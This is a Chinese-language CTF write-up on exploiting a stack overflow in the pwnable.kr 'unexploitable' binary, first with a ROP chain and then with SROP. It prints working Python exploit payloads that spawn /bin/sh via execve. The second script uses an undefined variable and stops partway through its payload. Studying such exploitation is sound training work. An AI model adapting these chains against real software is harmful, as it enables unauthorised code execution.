SROP

pwnable.kr-unexploitable(SROP)

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

一个栈溢出漏洞。

rop

利用syscall(59)代替执行execve
得到rax=59(利用read返回值)

  1. bss中写入跳入bss的rop
  2. 构造利用read读取59字节的rop
  3. 执行syscall

填充main栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
bss_base = 0x0000000000601028 + 0x200
bash_addr = 0x0000000000601028 + 0x400
syscall_addr = 0x00400560
pop_rbp_ret = 0x00400512
leave_ret = 0x00400576
part1 = 0x004005e6
part2 = 0x004005d0
def call_function(call_addr, arg1, arg2, arg3):
payload = ""
payload += p64(part1) # => RSP first ret to part1
payload += "A" * 8
payload += p64(0) # => RBX
payload += p64(1) # => RBP
payload += p64(call_addr) # => R12 => RIP
payload += p64(arg1) # => R13 => RDI
payload += p64(arg2) # => R14 => RSI
payload += p64(arg3) # => R16 => RDX
payload += p64(part2) # ret to part2 prepare to execute the call
payload += "C" * 0x38 # for add rsp,0x38
return payload
payload1 = "A" * 0x10 #填充main的栈
payload1 += p64(bss_base) #bss_base->rbp
payload1 += call_function(elf.got["read"], 0, bss_base, 0x200)#write rop to bss
payload1 += p64(pop_rbp_ret) #ret to pop instruction make the rbp point to bss[+I1]
payload1 += p64(bss_base) #pop value[-I1]
payload1 += p64(leave_ret) #ret to leave instruction[+I2]
payload2 = p64(bss_base+0x8) #the value pop to rbp[-I2]
payload2 += call_function(elf.got["read"], 0, bash_addr, 0x200)#write payload to bash_addr and make the value of rax is the return-value of read[-I2]
payload2 += call_function(bash_addr+0x10, bash_addr, 0, 0)
payload3 = "/bin/sh\x00".ljust(0x10, "B")
payload3 += p64(syscall_addr) #the address of instruction to call
payload3 = payload3.ljust(59, "D")

rop流程:
第一次read:将read调用rop和跳转到bss段执行所需的rop写入栈
第二次read:将调用read的rop和调用syscall的rop写入bss
第三次read:将”/bin/sh”写入bash_addr,将syscall地址设置为返回地址,并将payload填充至59字节,使得read调用返回值为59触发execve。

srop

原理

当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)

在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以Linux为例:

在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn

利用

之前通过ROP的方式实现利用,但是需要构造的gadgets很多,流程也十分繁琐,而利用SROP利用流程就变得简洁许多。
同样利用read将调用read的rop和跳转到bss段执行所需的rop写入栈,利用第二次调用read将sig_frame和”/bin/sh”写入bss,并且构造第三次调用read的rop,第三次调用read是为了将rax设置为15,使syscall触发__NR_rt_sigreturn,sigreturn被设置为syscall,rdi为”/bin/sh”地址,rax为59,成功执行execve(“/bin/sh”)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def call_function(call_addr, arg1, arg2, arg3):
payload = ""
payload += p64(part1) # => RSP
payload += "A" * 8
payload += p64(0) # => RBX
payload += p64(1) # => RBP
payload += p64(call_addr) # => R12 => RIP
payload += p64(arg1) # => R13 => RDI
payload += p64(arg2) # => R14 => RSI
payload += p64(arg3) # => R16 => RDX
payload += p64(part2)
payload += "C" * 0x38
return payload
sig_frame = SigreturnFrame() #设置SROP Frame
sig_frame.rax = 59
sig_frame.rdi = bss_base+0x200
sig_frame.rsi = 0
sig_frame.rdx = 0
sig_frame.rip = syscall_addr
payload1 = "A" * 0x10
payload1 += p64(bss_base)
payload1 += call_function(elf.got["read"], 0, bss_base, 0x300)
payload1 += p64(pop_rbp_ret)
payload1 += p64(bss_base)
payload1 += p64(leave_ret)
payload2 = p64(bss_base+0x8)
payload2 += call_function(elf.got["read"], 0, sig_stage, 0x100)
payload2 += sig_frame
payload2 = payload2.ljust(0x200, "\x00")
payload2 += "/bin/sh\x00"
payload3 = "D" * 0xf